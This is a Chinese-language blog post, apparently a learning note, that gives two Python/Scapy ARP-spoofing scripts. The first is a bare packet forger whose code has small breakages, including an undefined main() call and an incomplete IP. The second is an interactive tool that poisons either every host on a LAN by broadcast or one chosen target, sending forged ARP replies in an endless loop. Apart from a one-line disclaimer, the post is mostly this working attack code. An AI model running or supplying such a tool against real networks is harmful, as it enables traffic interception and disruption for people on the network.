ARP欺骗


前言

记录一些学习经验、遇到的问题
仅用于对协议报文学习,了解攻击原理,请勿用于恶意攻击


一、基础设置

1.ARP欺骗(版本1)

1、初始版本,需要在文件里面手动更改对应MAC和IP

from scapy.all import *
from scapy.layers.l2 import ARP, Ether

### 查询单个IP的MAC地址
def arp1():
    arpsrc = "11:11:11:11:11:11"    		# 虚假对象的MAC地址
    arpdst = "ff:ff:ff:ff:ff:ff"    		# 攻击的对象MAC地址(广播攻击所有机器)
    arpdst = "22:22:22:22:22:22" 			# 攻击的对象MAC地址(攻击特定主机)
    arpsrcip = "192.168.1."  				# 虚假对象的IP
    arpdstip = "192.168.1.1" 				# 攻击对象的IP

    arpPkt = Ether(dst=arpdst,src=arpsrc) / ARP(psrc=arpsrcip,hwsrc=arpsrc,pdst=arpdstip,hwdst=arpdst,op=2) 
    # 报文格式:Ether的dst为攻击对象,ARP的op=2为reply报
    # 发送arp请求,并获取响应结果。设置1s超时。
    res = srp1(arpPkt, timeout=1, verbose=1)  # srp1发送并接受,timeout 超时丢弃,verbose 显示详细内容

if __name__ == '__main__':
    main()

2.ARP欺骗(版本2)

1、dos界面
2、两种攻击模式(①无差别,②特定主机)
3、判断IP地址格式

from scapy.all import *
from scapy.layers.l2 import ARP, Ether


### 查询单个IP的MAC地址
def arp_attack():
    while True:
        print("攻击模式:1、无差别攻击。2、特定主机")
        attackmode = input()  # 输入攻击模式
        if attackmode == "1":  # 调用
            attack_mode1()
            break
        elif attackmode == "2":
            attack_mode2()
            break
        else:
            print("输入错误,请重新输入")


### 攻击模式:1、无差别攻击
def attack_mode1():
    localip = socket.gethostbyname(socket.gethostname())  # 获取本机ip
    arpPkt = Ether() / ARP(pdst=localip)
    res = srp1(arpPkt, timeout=1)  # 发送arp查询本机IP的MAC地址
    arpsrcmac = res.hwsrc  # 本机MAC地址
    arpsrcip = judge_ip("请输入要伪装那一台主机IP:")   # 伪装的IP

    arpdstmac = "ff:ff:ff:ff:ff:ff"  # 攻击的对象MAC地址(广播攻击所有机器)
    arpdstip = ""
    attack_message(1, arpsrcmac, arpdstmac, arpsrcip, arpdstip)


### 攻击模式:2、特定主机
def attack_mode2():
    localip = socket.gethostbyname(socket.gethostname())  # 获取本机ip
    arpPkt = Ether() / ARP(pdst=localip)
    res = srp1(arpPkt, timeout=1)  # 发送arp查询本机IP的MAC地址
    arpsrcmac = res.hwsrc  # 本机MAC地址
    arpsrcip = judge_ip("请输入要伪装那一台主机IP:")   # 伪装的IP
    arpdstip = judge_ip("请输入要欺骗主机的IP地址:")   # 欺骗的IP
    arpPkt = Ether() / ARP(pdst=arpdstip)
    res = srp1(arpPkt, timeout=1)  # 发送arp查询要欺骗主机IP的MAC地址
    arpdstmac = res.hwsrc  # 攻击的对象MAC地址
    attack_message(2, arpsrcmac, arpdstmac, arpsrcip, arpdstip)


### 发送攻击报文
def attack_message(attackmode, arpsrcmac, arpdstmac, arpsrcip, arpdstip):
    if attackmode == 1:  # 无限循环发送广博包欺骗
        arpPkt = Ether(dst=arpdstmac) / ARP(psrc=arpsrcip, hwsrc=arpsrcmac, op=2)  # 报文格式:Ether的dst为攻击对象,ARP的op=2为reply报
        res = srploop(arpPkt, timeout=1)  # srploop循环发送并接受,timeout 超时丢弃,verbose 显示详细内容
    if attackmode == 2:  # 无限循环发送广博包欺骗
        arpPkt = Ether(dst=arpdstmac,src=arpsrcmac) / ARP(psrc=arpsrcip,hwsrc=arpsrcmac,pdst=arpdstip,hwdst=arpdstmac,op=2)  # 报文格式:Ether的dst为攻击对象,ARP的op=2为reply报
        res = srploop(arpPkt, timeout=1)  # srploop循环发送并接受,timeout 超时丢弃,verbose 显示详细内容


### 判断IP地址是否合适
def judge_ip(str1):
    while True:
        print(str1)
        arpdstip = input()

        # 判断是否是否是有效IP地址格式
        a = arpdstip.split(r".")
        if len(a) == 4:  # 判断是否为四个段落
            for i in a:  # 拆分判断
                if not i.isdigit() or int(i) < 0 or int(i) > 255:  # 不为数字,不小于0,不大于255
                    print("输入错误" + arpdstip + "不符合IP地址格式,请重新输入")
                    arpdstip = None
                    break
            if not arpdstip is None:  # 经过多重检查后判断输入是否正常
                break
        else:
            print("输入错误" + arpdstip + "不符合IP地址格式,请重新输入")
    return arpdstip

if __name__ == '__main__':
    arp_attack()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值